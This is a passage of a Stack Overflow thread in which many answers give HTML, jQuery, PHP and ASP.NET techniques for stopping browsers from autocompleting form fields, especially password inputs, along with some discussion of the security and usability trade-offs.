</li>\n<li>Internet Explorer 8 </li>\n<li>Chrome</li>\n</ul>\n" }, { "answer_id": 5098590, "author": "user631300", "author_id": 631300, "author_profile": "https://Stackoverflow.com/users/631300", "pm_score": 4, "selected": false, "text": "<p>I think <code>autocomplete=off</code> is supported in HTML 5.</p>\n\n<p>Ask yourself why you want to do this though - it may make sense in some situations but don't do it just for the sake of doing it.</p>\n\n<p>It's less convenient for users and not even a security issue in OS X (mentioned by Soren below). If you're worried about people having their passwords stolen remotely - a keystroke logger could still do it even though your app uses <code>autcomplete=off</code>.</p>\n\n<p>As a user who chooses to have a browser remember (most of) my information, I'd find it annoying if your site didn't remember mine.</p>\n" }, { "answer_id": 7451656, "author": "Securatek", "author_id": 949742, "author_profile": "https://Stackoverflow.com/users/949742", "pm_score": 5, "selected": false, "text": "<p>I'd have to beg to differ with those answers that say to avoid disabling auto-complete.</p>\n\n<p>The first thing to bring up is that auto-complete not being explicitly disabled on login form fields is a PCI-DSS fail. In addition, if a users' local machine is compromised then any autocomplete data can be trivially obtained by an attacker due to it being stored in the clear.</p>\n\n<p>There is certainly an argument for usability, however there's a very fine balance when it comes to which form fields should have autocomplete disabled and which should not.</p>\n" }, { "answer_id": 13199843, "author": "xxxxx", "author_id": 1794937, "author_profile": "https://Stackoverflow.com/users/1794937", "pm_score": 3, "selected": false, "text": "<p>You may use it in <code>input</code>.</p>\n<p>For example;</p>\n<pre><code>&lt;input type=text name=&quot;test&quot; autocomplete=&quot;off&quot; /&gt;\n</code></pre>\n" }, { "answer_id": 13709435, "author": "jeff", "author_id": 1876671, "author_profile": "https://Stackoverflow.com/users/1876671", "pm_score": 4, "selected": false, "text": "<p>Try these too if just <code>autocomplete=&quot;off&quot;</code> doesn't work:</p>\n<pre><code>autocorrect=&quot;off&quot; autocapitalize=&quot;off&quot; autocomplete=&quot;off&quot;\n</code></pre>\n" }, { "answer_id": 15496456, "author": "yajay", "author_id": 2135057, "author_profile": "https://Stackoverflow.com/users/2135057", "pm_score": 5, "selected": false, "text": "<p>Three options:</p>\n<p>First:</p>\n<pre><code>&lt;input type='text' autocomplete='off' /&gt;\n</code></pre>\n<p>Second:</p>\n<pre><code>&lt;form action='' autocomplete='off'&gt;\n</code></pre>\n<p>Third (JavaScript code):</p>\n<pre><code>$('input').attr('autocomplete', 'off');\n</code></pre>\n" }, { "answer_id": 18259776, "author": "lifo", "author_id": 795819, "author_profile": "https://Stackoverflow.com/users/795819", "pm_score": 5, "selected": false, "text": "<p>None of the solutions worked for me in this conversation.</p>\n<p>I finally figured out a <strong>pure HTML solution</strong> that doesn't require <strong>any JavaScript</strong>, works in modern browsers (except Internet Explorer; there had to at least be one catch, right?), and does not require you to disable autocomplete for the entire form.</p>\n<p>Simply turn off autocomplete on the <code>form</code> and then turn it ON for any <code>input</code> you wish it to work within the form. For example:</p>\n<pre class=\"lang-html prettyprint-override\"><code>&lt;form autocomplete=&quot;off&quot;&gt;\n &lt;!-- These inputs will not allow autocomplete and Chrome\n won't highlight them yellow! --&gt;\n &lt;input name=&quot;username&quot; /&gt;\n &lt;input name=&quot;password&quot; type=&quot;password&quot; /&gt;\n &lt;!-- This field will allow autocomplete to work even\n though we've disabled it on the form --&gt;\n &lt;input name=&quot;another_field&quot; autocomplete=&quot;on&quot; /&gt;\n&lt;/form&gt;\n</code></pre>\n" }, { "answer_id": 23234498, "author": "apinstein", "author_id": 72114, "author_profile": "https://Stackoverflow.com/users/72114", "pm_score": 8, "selected": false, "text": "<p>Most of the major browsers and password managers (correctly, IMHO) now ignore <code>autocomplete=off</code>. </p>\n\n<p>Why? Many banks and other \"high security\" websites added <code>autocomplete=off</code> to their login pages \"for security purposes\" but this actually decreases security since it causes people to change the passwords on these high-security sites to be easy to remember (and thus crack) since autocomplete was broken. </p>\n\n<p>Long ago most password managers started ignoring <code>autocomplete=off</code>, and now the browsers are starting to do the same for username/password inputs only.</p>\n\n<p>Unfortunately, bugs in the autocomplete implementations insert username and/or password info into inappropriate form fields, causing form validation errors, or worse yet, accidentally inserting usernames into fields that were intentionally left blank by the user.</p>\n\n<p>What's a web developer to do?</p>\n\n<ul>\n<li>If you can keep all password fields on a page by themselves, that's a great start as it seems that the presence of a password field is the main trigger for user/pass autocomplete to kick in. Otherwise, read the tips below.</li>\n<li><strong>Safari</strong> notices that there are 2 password fields and disables autocomplete in this case, assuming it must be a change password form, not a login form. So just be sure to use 2 password fields (new and confirm new) for any forms where you allow </li>\n<li><p><strong>Chrome</strong> 34, unfortunately, will try to autofill fields with user/pass whenever it sees a password field. This is quite a bad bug that hopefully, they will change the Safari behavior. However, adding this to the top of your form seems to disable the password autofill:</p>\n\n<pre><code>&lt;input type=\"text\" style=\"display:none\"&gt;\n&lt;input type=\"password\" style=\"display:none\"&gt;\n</code></pre></li>\n</ul>\n\n<p>I haven't yet investigated IE or Firefox thoroughly but will be happy to update the answer if others have info in the comments.</p>\n" }, { "answer_id": 24247840, "author": "dsuess", "author_id": 2354488, "author_profile": "https://Stackoverflow.com/users/2354488", "pm_score": 8, "selected": false, "text": "<p>Sometimes <strong>even autocomplete=off</strong> would <strong>not prevent to fill</strong> in credentials into the wrong fields, but not a user or nickname field.</p>\n<p>This workaround is in addition to <a href=\"https://stackoverflow.com/questions/2530/how-do-you-disable-browser-autocomplete-on-web-form-field-input-tags/23234498#23234498\">apinstein's post</a> about browser behavior.</p>\n<h3>Fix browser autofill in read-only and set writable on focus (click and tab)</h3>\n<pre><code> &lt;input type=&quot;password&quot; readonly\n onfocus=&quot;this.removeAttribute('readonly');&quot;/&gt;\n</code></pre>\n<p>Update:</p>\n<p>Mobile Safari sets cursor in the field, but it does not show the virtual keyboard. The new fix works like before, but it handles the virtual keyboard:</p>\n<pre><code>&lt;input id=&quot;email&quot; readonly type=&quot;email&quot; onfocus=&quot;if (this.hasAttribute('readonly')) {\n this.removeAttribute('readonly');\n // fix for mobile safari to show virtual keyboard\n this.blur(); this.focus(); }&quot; /&gt;\n</code></pre>\n<p>Live Demo <a href=\"https://jsfiddle.net/danielsuess/n0scguv6/\" rel=\"noreferrer\">https://jsfiddle.net/danielsuess/n0scguv6/</a></p>\n<p>// UpdateEnd</p>\n<p><strong>Because the browser auto fills credentials to wrong text field!?</strong></p>\n<p>I notice this strange behavior on Chrome and Safari, when there are password fields in <em>the same form.</em> I guess the browser looks for a password field to insert your saved credentials. Then it auto fills (just guessing due to observation) the nearest textlike-input field, that appears prior the password field in the DOM. As the browser is the last instance and you can not control it.</p>\n<p>This readonly-fix above worked for me.</p>\n" }, { "answer_id": 29982284, "author": "Fery Kaszoni", "author_id": 1763068, "author_profile": "https://Stackoverflow.com/users/1763068", "pm_score": 5, "selected": false, "text": "<p>I've been trying endless solutions, and then I found this:</p>\n\n<p>Instead of <code>autocomplete=\"off\"</code> just simply use <code>autocomplete=\"false\"</code></p>\n\n<p>As simple as that, and it works like a charm in Google Chrome as well!</p>\n" }, { "answer_id": 30606101, "author": "Simmoniz", "author_id": 651987, "author_profile": "https://Stackoverflow.com/users/651987", "pm_score": 4, "selected": false, "text": "<p>This is a security issue that browsers ignore now. Browsers identify and store content using input names, even if developers consider the information to be sensitive and should not be stored.</p>\n<p>Making an input name different between 2 requests will solve the problem (but will still be saved in browser's cache and will also increase browser's cache).</p>\n<p>Asking the user to activate or deactivate options in their browser's settings is not a good solution. The issue can be fixed in the backend.</p>\n<p>Here's the fix. All autocomplete elements are generated with a hidden input like this:</p>\n<pre><code>&lt;?php $r = md5(rand() . microtime(TRUE)); ?&gt;\n&lt;form method=&quot;POST&quot; action=&quot;./&quot;&gt;\n &lt;input type=&quot;text&quot; name=&quot;&lt;?php echo $r; ?&gt;&quot; /&gt;\n &lt;input type=&quot;hidden&quot; name=&quot;__autocomplete_fix_&lt;?php echo $r; ?&gt;&quot; value=&quot;username&quot; /&gt;\n &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;submit&quot; /&gt;\n&lt;/form&gt;\n</code></pre>\n<p>The server then processes the post variables like this: (<a href=\"https://3v4l.org/kBJtN\" rel=\"nofollow noreferrer\">Demo</a>)</p>\n<pre><code>foreach ($_POST as $key =&gt; $val) {\n $newKey = preg_replace('~^__autocomplete_fix_~', '', $key, 1, $count);\n if ($count) {\n $_POST[$val] = $_POST[$newKey];\n unset($_POST[$key], $_POST[$newKey]);\n }\n}\n</code></pre>\n<p>The value can be accessed as usual</p>\n<pre><code>echo $_POST['username'];\n</code></pre>\n<p>And the browser won't be able to suggest information from the previous request or from previous users.</p>\n<p>This will continue to work even if browsers update their techniques to ignore/respect autocomplete attributes.</p>\n" }, { "answer_id": 31182333, "author": "Jakob Løkke Madsen", "author_id": 245540, "author_profile": "https://Stackoverflow.com/users/245540", "pm_score": 3, "selected": false, "text": "<p>None of the hacks mentioned here worked for me in Chrome.\nThere's a discussion of the issue here: <a href=\"https://code.google.com/p/chromium/issues/detail?id=468153#c41\" rel=\"noreferrer\">https://code.google.com/p/chromium/issues/detail?id=468153#c41</a></p>\n\n<p>Adding this inside a <code>&lt;form&gt;</code> works (at least for now):</p>\n\n<pre><code>&lt;div style=\"display: none;\"&gt;\n &lt;input type=\"text\" id=\"PreventChromeAutocomplete\" name=\"PreventChromeAutocomplete\" autocomplete=\"address-level4\" /&gt;\n&lt;/div&gt;\n</code></pre>\n" }, { "answer_id": 31995706, "author": "WolfyD", "author_id": 2192923, "author_profile": "https://Stackoverflow.com/users/2192923", "pm_score": 2, "selected": false, "text": "<p>It could be important to know that Firefox (I think only Firefox) uses a value called <code>ismxfilled</code> that basically forces autocomplete.</p>\n<p><code>ismxfilled=&quot;0&quot;</code> for <code>OFF</code></p>\n<p>or</p>\n<p><code>ismxfilled=&quot;1&quot;</code> for <code>ON</code></p>\n" }, { "answer_id": 33396540, "author": "Matas Vaitkevicius", "author_id": 1509764, "author_profile": "https://Stackoverflow.com/users/1509764", "pm_score": 4, "selected": false, "text": "<p>Adding <code>autocomplete=&quot;off&quot;</code> is not going to cut it.</p>\n<p>Change the <code>input</code> type attribute to <code>type=&quot;search&quot;</code>.<br />\nGoogle doesn't apply auto-fill to inputs with a type of search.</p>\n" }, { "answer_id": 33461229, "author": "pronebird", "author_id": 351305, "author_profile": "https://Stackoverflow.com/users/351305", "pm_score": 2, "selected": false, "text": "<p>Safari does not change its mind about autocomplete if you set <code>autocomplete=&quot;off&quot;</code> dynamically from JavaScript. However, it would respect if you do that on per-field basis.</p>\n<pre><code>$(':input', $formElement).attr('autocomplete', 'off');\n</code></pre>\n" }, { "answer_id": 33736066, "author": "Tamilselvan K", "author_id": 3089813, "author_profile": "https://Stackoverflow.com/users/3089813", "pm_score": 3, "selected": false, "text": "<pre><code>&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&gt;\n $(document).ready(function () {\n try {\n $(&quot;input[type='text']&quot;).each(\n function(){\n $(this).attr(&quot;autocomplete&quot;, &quot;off&quot;);\n });\n }\n catch (e) {\n }\n });\n&lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 34192660, "author": "Blair Anderson", "author_id": 1536309, "author_profile": "https://Stackoverflow.com/users/1536309", "pm_score": 3, "selected": false, "text": "<p>Chrome is <a href=\"https://code.google.com/p/chromium/issues/detail?id=468153#c123\" rel=\"nofollow noreferrer\">planning to support this</a>.</p>\n<p>For now the best suggestion is to use an input type that is rarely autocompleted.</p>\n<p><a href=\"https://code.google.com/p/chromium/issues/detail?id=468153#c33\" rel=\"nofollow noreferrer\">Chrome discussion</a></p>\n<pre><code>&lt;input type='search' name=&quot;whatever&quot; /&gt;\n</code></pre>\n<p>To be compatible with Firefox, use normal autocomplete='off'</p>\n<pre><code>&lt;input type='search' name=&quot;whatever&quot; autocomplete='off' /&gt;\n</code></pre>\n" }, { "answer_id": 35631507, "author": "jcubic", "author_id": 387194, "author_profile": "https://Stackoverflow.com/users/387194", "pm_score": 3, "selected": false, "text": "<p>You can disable autocomplete if you remove the <code>form</code> tag.</p>\n<p>The same was done by my bank and I was wondering how they did this. It even removes the value that was already remembered by the browser after you remove the tag.</p>\n" }, { "answer_id": 36098082, "author": "Debendra Dash", "author_id": 5418530, "author_profile": "https://Stackoverflow.com/users/5418530", "pm_score": 3, "selected": false, "text": "<p>This is what we called autocomplete of a textbox.</p>\n<p><a href=\"https://i.stack.imgur.com/6mr93.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6mr93.png\" alt=\"Enter image description here\" /></a></p>\n<p>We can disable autocomplete of a Textbox in two ways:</p>\n<ol>\n<li><p>By Browser Label</p>\n</li>\n<li><p>By Code</p>\n<p>To disable in a browser, go to the setting</p>\n</li>\n</ol>\n<p><a href=\"https://i.stack.imgur.com/3nHbK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3nHbK.png\" alt=\"To disable in the browser, go to the setting\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/4QqJL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4QqJL.png\" alt=\"Go to Advanced Settings and uncheck the checkbox and then Restore.\" /></a></p>\n<p>Go to <em>Advanced Settings</em> and uncheck the checkbox and then Restore.</p>\n<p>If you want to disable in coding label you can do as follows -</p>\n<p>Using <code>AutoCompleteType=&quot;Disabled&quot;</code>:</p>\n<pre><code>&lt;asp:TextBox runat=&quot;server&quot; ID=&quot;txt_userid&quot; AutoCompleteType=&quot;Disabled&quot;&gt;&lt;/asp:TextBox&gt;\n</code></pre>\n<p>By Setting Form <code>autocomplete=&quot;off&quot;</code>:</p>\n<pre><code>&lt;asp:TextBox runat=&quot;server&quot; ID=&quot;txt_userid&quot; autocomplete=&quot;off&quot;&gt;&lt;/asp:TextBox&gt;\n</code></pre>\n<p>By Setting Form <code>autocomplete=&quot;off&quot;</code>:</p>\n<pre><code>&lt;form id=&quot;form1&quot; runat=&quot;server&quot; autocomplete=&quot;off&quot;&gt;\n // Your content\n&lt;/form&gt;\n</code></pre>\n<p>By using code in the .cs page:</p>\n<pre><code>protected void Page_Load(object sender, EventArgs e)\n{\n if(!Page.IsPostBack)\n {\n txt_userid.Attributes.Add(&quot;autocomplete&quot;, &quot;off&quot;);\n }\n}\n</code></pre>\n<p><strong>By using jQuery</strong></p>\n<pre><code>&lt;head runat=&quot;server&quot;&gt;\n &lt;title&gt;&lt;/title&gt;\n\n &lt;script src=&quot;Scripts/jquery-1.6.4.min.js&quot;&gt;&lt;/script&gt;\n\n &lt;script type=&quot;text/javascript&quot;&gt;\n $(document).ready(function () {\n $('#txt_userid').attr('autocomplete', 'off');\n });\n &lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 36163629, "author": "AAH-Shoot", "author_id": 214145, "author_profile": "https://Stackoverflow.com/users/214145", "pm_score": 4, "selected": false, "text": "<p>I just ran into this problem and tried several failures, but this one works for me (found on <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion\" rel=\"nofollow noreferrer\">MDN</a>):</p>\n<blockquote>\n<p>In some cases, the browser will keep suggesting autocompletion values\neven if the autocomplete attribute is set to off. This unexpected\nbehavior can be quite puzzling for developers. The trick to really\nforce the no-completion is to assign a random string to the attribute\nlike so:</p>\n</blockquote>\n<pre><code>autocomplete=&quot;nope&quot;\n</code></pre>\n" }, { "answer_id": 36809948, "author": "Ben", "author_id": 4244674, "author_profile": "https://Stackoverflow.com/users/4244674", "pm_score": 4, "selected": false, "text": "<p>I can't believe this is still an issue so long after it's been reported. The previous solutions didn't work for me, as <a href=\"https://en.wikipedia.org/wiki/Safari_%28web_browser%29\" rel=\"nofollow noreferrer\">Safari</a> seemed to know when the element was not displayed or off-screen, however the following did work for me:</p>\n<pre><code>&lt;div style=&quot;height:0px; overflow:hidden; &quot;&gt;\n Username &lt;input type=&quot;text&quot; name=&quot;fake_safari_username&quot; &gt;\n Password &lt;input type=&quot;password&quot; name=&quot;fake_safari_password&quot;&gt;\n&lt;/div&gt;\n</code></pre>\n" }, { "answer_id": 36900517, "author": "Jason L.", "author_id": 3442448, "author_profile": "https://Stackoverflow.com/users/3442448", "pm_score": 3, "selected": false, "text": "<p>If your issue is having a password field being auto-completed, then you may find this useful...</p>\n\n<p>We had this issue in several areas of our site where the business wanted to re-query the user for their username and password and specifically did not want the password autofill to work for contractual reasons. We found that the easiest way to do this is to put in a fake password field for the browser to find and fill while the real password field remains untouched.</p>\n\n<pre><code>&lt;!-- This is a fake password input to defeat the browser's autofill behavior --&gt;\n&lt;input type=\"password\" id=\"txtPassword\" style=\"display:none;\" /&gt;\n&lt;!-- This is the real password input --&gt;\n&lt;input type=\"password\" id=\"txtThisIsTheRealPassword\" /&gt;\n</code></pre>\n\n<p>Note that in Firefox and IE, it was simply enough to put any input of type password before the actual one but Chrome saw through that and forced me to actually name the fake password input (by giving it an obvious password id) to get it to \"bite\". I used a class to implement the style instead of using an embedded style so try that if the above doesn't work for some reason.</p>\n" }, { "answer_id": 37514329, "author": "Stav Bodik", "author_id": 4120180, "author_profile": "https://Stackoverflow.com/users/4120180", "pm_score": 4, "selected": false, "text": "<p>So here is it:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function turnOnPasswordStyle() {\r\n $('#inputpassword').attr('type', \"password\");\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;input oninput=\"turnOnPasswordStyle()\" id=\"inputpassword\" type=\"text\"&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 37856900, "author": "Peter", "author_id": 4161621, "author_profile": "https://Stackoverflow.com/users/4161621", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://stackoverflow.com/questions/2530/how-do-you-disable-browser-autocomplete-on-web-form-field-input-tags/24247840#24247840\">The answer <strong>dsuess</strong> posted</a> with the readonly was very clever and worked.</p>\n<p>But as I am using <a href=\"https://en.wikipedia.org/wiki/Bootstrap_%28front-end_framework%29\" rel=\"nofollow noreferrer\">Bootstrap</a>, the readonly input field was - until focused - marked with grey background. While the document loads, you can trick the browser by simply locking and unlocking the input.</p>\n<p>So I had an idea to implement this into a jQuery solution:</p>\n<pre><code>jQuery(document).ready(function () {\n $(&quot;input&quot;).attr('readonly', true);\n $(&quot;input&quot;).removeAttr('readonly');\n});\n</code></pre>\n" }, { "answer_id": 38333163, "author": "Master DJon", "author_id": 214898, "author_profile": "https://Stackoverflow.com/users/214898", "pm_score": 3, "selected": false, "text": "<p>My problem was mostly autofill with Chrome, but I think this is probably more problematic than autocomplete.</p>\n<p>Trick: using a timer to reset the form and set the password fields to blank. The 100 ms duration seems to be the minimum for it to work.</p>\n<pre><code>$(document).ready(function() {\n setTimeout(function() {\n var $form = $('#formId');\n $form[0].reset();\n $form.find('INPUT[type=password]').val('');\n }, 100);\n});\n</code></pre>\n" }, { "answer_id": 39289929, "author": "Oleg", "author_id": 676479, "author_profile": "https://Stackoverflow.com/users/676479", "pm_score": 2, "selected": false, "text": "<p>The idea is to create an invisible field with the same name before the original one. That will make the browser auto populate the hidden field.</p>\n<p>I use the following jQuery snippet:</p>\n<pre><code>// Prevent input autocomplete\n$.fn.preventAutocomplete = function() {\n this.each(function () {\n var $el = $(this);\n $el\n .clone(false, false) // Make a copy (except events)\n .insertBefore($el) // Place it before original field\n .prop('id', '') // Prevent ID duplicates\n .hide() // Make it invisible for user\n ;\n });\n};\n</code></pre>\n<p>And then just <code>$('#login-form input').preventAutocomplete();</code></p>\n" }, { "answer_id": 40214729, "author": "Dag Høidahl", "author_id": 22146, "author_profile": "https://Stackoverflow.com/users/22146", "pm_score": 2, "selected": false, "text": "<p>A workaround is not to insert the password field into the DOM before the user wants to change the password. This may be applicable in certain cases:</p>\n\n<p>In our system we have a password field which in an admin page, so we must avoid inadvertently setting other users' passwords. The form has an extra checkbox that will toggle the password field visibility for this reason.</p>\n\n<p>So in this case, autofill from a password manager becomes a double problem, because the input won't even be visible to the user.</p>\n\n<p>The solution was to have the checkbox trigger whether the password field is inserted in the DOM, not just its visibility.</p>\n\n<p>Pseudo implementation for AngularJS:</p>\n\n<pre><code>&lt;input type=\"checkbox\" ng-model=\"createPassword\"&gt;\n&lt;input ng-if=\"changePassword\" type=\"password\"&gt;\n</code></pre>\n" }, { "answer_id": 40661608, "author": "Alexander Ryan Baggett", "author_id": 1810205, "author_profile": "https://Stackoverflow.com/users/1810205", "pm_score": 1, "selected": false, "text": "<p>With regards to Internet Explorer 11, there is a security feature in place that can be used to block autocomplete.</p>\n<p>It works like this:</p>\n<p>Any form input value that is modified in JavaScript <em>after</em> the user has already entered it is flagged as ineligible for autocomplete.</p>\n<p>This feature is normally used to protect users from malicious websites that want to change your password after you enter it or the like.</p>\n<p>However, you could insert a single special character at the beginning of a password string to block autocomplete. This special character could be detected and removed later on down the pipeline.</p>\n" }, { "answer_id": 40791726, "author": "Geynen", "author_id": 6141959, "author_profile": "https://Stackoverflow.com/users/6141959", "pm_score": 7, "selected": false, "text": "<p>The solution for Chrome is to add <code>autocomplete=&quot;new-password&quot;</code> to the input type password. Please check the example below.</p>\n<p>Example:</p>\n<pre><code>&lt;form name=&quot;myForm&quot;&quot; method=&quot;post&quot;&gt;\n &lt;input name=&quot;user&quot; type=&quot;text&quot; /&gt;\n &lt;input name=&quot;pass&quot; type=&quot;password&quot; autocomplete=&quot;new-password&quot; /&gt;\n &lt;input type=&quot;submit&quot;&gt;\n&lt;/form&gt;\n</code></pre>\n<p>Chrome always autocomplete the data if it finds a box of <em>type password</em>, just enough to indicate for that box <code>autocomplete = &quot;new-password&quot;</code>.</p>\n<blockquote>\n<p>This works well for me.</p>\n</blockquote>\n<p>Note: make sure with <kbd>F12</kbd> that your changes take effect. Many times, browsers save the page in the cache, and this gave me a bad impression that it did not work, but the browser did not actually bring the changes.</p>\n" }, { "answer_id": 41398325, "author": "Muhammad Awais", "author_id": 3901944, "author_profile": "https://Stackoverflow.com/users/3901944", "pm_score": 5, "selected": false, "text": "<p>This works for me.</p>\n\n<pre><code>&lt;input name=\"pass\" type=\"password\" autocomplete=\"new-password\" /&gt;\n</code></pre>\n\n<p>We can also use this strategy in other controls like text, select etc</p>\n" }, { "answer_id": 42506164, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>It doesn't seem to be possible to achieve this without using a combination client side and server side code.</p>\n\n<p>In order to make sure that the user must fill in the form every time without autocomplete I use the following techniques:</p>\n\n<ol>\n<li><p>Generate the form field names on the server and use hidden input fields to store those names, so that when submitted to the server the server side code can use the generated names to access the field values. This is to stop the user from having the option to auto populate the fields.</p></li>\n<li><p>Place three instances of each form field on the form and hide the first and last fields of each set using css and then disable them after page load using javascript. This is to prevent the browser from filling in the fields automatically.</p></li>\n</ol>\n\n<p>Here is a fiddle that demonstrates the javascript, css and html as described in #2 <a href=\"https://jsfiddle.net/xnbxbpv4/\" rel=\"nofollow noreferrer\">https://jsfiddle.net/xnbxbpv4/</a></p>\n\n<p>javascript: </p>\n\n<pre><code>$(document).ready(function() {\n $(\".disable-input\").attr(\"disabled\", \"disabled\");\n});\n</code></pre>\n\n<p>css: </p>\n\n<pre class=\"lang-css prettyprint-override\"><code>.disable-input {\n display: none;\n}\n</code></pre>\n\n<p>html: </p>\n\n<pre><code>&lt;form&gt;\n&lt;input type=\"email\" name=\"username\" placeholder=\"username\" class=\"disable-input\"&gt;\n&lt;input type=\"email\" name=\"username\" placeholder=\"username\"&gt;\n&lt;input type=\"email\" name=\"username\" placeholder=\"username\" class=\"disable-input\"&gt;\n&lt;br&gt;\n&lt;input type=\"password\" name=\"password\" placeholder=\"password\" class=\"disable-input\"&gt;\n&lt;input type=\"password\" name=\"password\" placeholder=\"password\"&gt;\n&lt;input type=\"password\" name=\"password\" placeholder=\"password\" class=\"disable-input\"&gt;\n&lt;br&gt;\n&lt;input type=\"submit\" value=\"submit\"&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>Here is a rough example of what the server code using asp.net with razor would be to facilitate #1</p>\n\n<p>model: </p>\n\n<pre><code>public class FormModel\n{\n public string Username { get; set; }\n public string Password { get; set; }\n}\n</code></pre>\n\n<p>controller: </p>\n\n<pre><code>public class FormController : Controller\n{\n public ActionResult Form()\n {\n var m = new FormModel();\n\n m.Username = \"F\" + Guid.NewGuid().ToString();\n m.Password = \"F\" + Guid.NewGuid().ToString();\n\n return View(m);\n }\n\n public ActionResult Form(FormModel m)\n {\n var u = Request.Form[m.Username];\n var p = Request.Form[m.Password];\n\n // todo: do something with the form values\n\n ...\n\n return View(m);\n }\n}\n</code></pre>\n\n<p>view:</p>\n\n<pre><code>@model FormModel\n\n@using (Html.BeginForm(\"Form\", \"Form\"))\n{\n @Html.HiddenFor(m =&gt; m.UserName)\n @Html.HiddenFor(m =&gt; m.Password)\n\n &lt;input type=\"email\" name=\"@Model.Username\" placeholder=\"username\" class=\"disable-input\"&gt;\n &lt;input type=\"email\" name=\"@Model.Username\" placeholder=\"username\"&gt;\n &lt;input type=\"email\" name=\"@Model.Username\" placeholder=\"username\" class=\"disable-input\"&gt;\n &lt;br&gt;\n &lt;input type=\"password\" name=\"@Model.Password\" placeholder=\"password\" class=\"disable-input\"&gt;\n &lt;input type=\"password\" name=\"@Model.Password\" placeholder=\"password\"&gt;\n &lt;input type=\"password\" name=\"@Model.Password\" placeholder=\"password\" class=\"disable-input\"&gt;\n &lt;br&gt;\n &lt;input type=\"submit\" value=\"submit\"&gt;\n}\n</code></pre>\n" }, { "answer_id": 42751929, "author": "Sam", "author_id": 5235734, "author_profile": "https://Stackoverflow.com/users/5235734", "pm_score": 1, "selected": false, "text": "<p>autocomplete = 'off' didn't work for me, anyway i set the value attribute of the input field to a space i.e <code>&lt;input type='text' name='username' value=\" \"&gt;</code> that set the default input character to a space, and since the username was blank the password was cleared too. </p>\n" }, { "answer_id": 42782309, "author": "Mohaimin Moin", "author_id": 4574992, "author_profile": "https://Stackoverflow.com/users/4574992", "pm_score": 3, "selected": false, "text": "<p>I use this <code>TextMode=\"password\" autocomplete=\"new-password\"</code> and in in page load in aspx <code>txtPassword.Attributes.Add(\"value\", '');</code></p>\n" }, { "answer_id": 47055960, "author": "Murat Yıldız", "author_id": 1604048, "author_profile": "https://Stackoverflow.com/users/1604048", "pm_score": 5, "selected": false, "text": "<blockquote>\n <p>In addition to</p>\n</blockquote>\n\n<pre><code>autocomplete=\"off\"\n</code></pre>\n\n<blockquote>\n <p>Use</p>\n</blockquote>\n\n<pre><code>readonly onfocus=\"this.removeAttribute('readonly');\"\n</code></pre>\n\n<p>for the inputs that you do not want them to remember form data (<code>username</code>, <code>password</code>, etc.) as shown below: </p>\n\n<pre><code>&lt;input type=\"text\" name=\"UserName\" autocomplete=\"off\" readonly \n onfocus=\"this.removeAttribute('readonly');\" &gt;\n\n&lt;input type=\"password\" name=\"Password\" autocomplete=\"off\" readonly \n onfocus=\"this.removeAttribute('readonly');\" &gt;\n</code></pre>\n\n<p>Hope this helps.</p>\n" }, { "answer_id": 47429938, "author": "zinczinc", "author_id": 3428605, "author_profile": "https://Stackoverflow.com/users/3428605", "pm_score": 1, "selected": false, "text": "<p>None of the provided answers worked on all the browsers I tested. Building on already provided answers, this is what I ended up with, (tested) on <strong>Chrome 61</strong>, <strong>Microsoft Edge 40</strong> (EdgeHTML 15), <strong>IE 11</strong>, <strong>Firefox 57</strong>, <strong>Opera 49</strong> and <strong>Safari 5.1</strong>. It is wacky as a result of many trials; however it does work for me.</p>\n\n<pre><code>&lt;form autocomplete=\"off\"&gt;\n ...\n &lt;input type=\"password\" readonly autocomplete=\"off\" id=\"Password\" name=\"Password\" onblur=\"this.setAttribute('readonly');\" onfocus=\"this.removeAttribute('readonly');\" onfocusin=\"this.removeAttribute('readonly');\" onfocusout=\"this.setAttribute('readonly');\" /&gt;\n ...\n&lt;/form&gt; \n\n&lt;script type=\"text/javascript\"&gt;\n $(function () { \n $('input#Password').val('');\n $('input#Password').on('focus', function () {\n if (!$(this).val() || $(this).val().length &lt; 2) {\n $(this).attr('type', 'text');\n }\n else {\n $(this).attr('type', 'password');\n }\n });\n $('input#Password').on('keyup', function () {\n if (!$(this).val() || $(this).val().length &lt; 2) {\n $(this).attr('type', 'text');\n }\n else {\n $(this).attr('type', 'password');\n }\n });\n $('input#Password').on('keydown', function () {\n if (!$(this).val() || $(this).val().length &lt; 2) {\n $(this).attr('type', 'text');\n }\n else {\n $(this).attr('type', 'password');\n }\n });\n&lt;/script&gt;\n</code></pre>\n" }, { "answer_id": 47917988, "author": "hien", "author_id": 4477343, "author_profile": "https://Stackoverflow.com/users/4477343", "pm_score": 3, "selected": false, "text": "<p>Many modern browsers do not support autocomplete=\"off\" for login fields anymore.\n<code>autocomplete=\"new-password\"</code> is wokring instead, more information <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion\" rel=\"noreferrer\">MDN docs</a></p>\n" }, { "answer_id": 48341687, "author": "Palaniichuk Dmytro", "author_id": 5692612, "author_profile": "https://Stackoverflow.com/users/5692612", "pm_score": 1, "selected": false, "text": "<p>Fixed. Just need to add above real input field</p>\n\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion\" rel=\"nofollow noreferrer\">https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion</a> - MDN\n<a href=\"https://medium.com/paul-jaworski/turning-off-autocomplete-in-chrome-ee3ff8ef0908\" rel=\"nofollow 